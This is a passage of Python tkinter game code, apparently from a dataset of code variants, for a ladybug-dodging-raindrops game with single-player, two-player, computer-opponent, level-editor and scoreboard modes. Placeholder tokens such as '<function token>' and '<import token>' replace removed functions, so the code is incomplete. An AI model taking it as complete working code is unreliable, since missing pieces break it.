xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 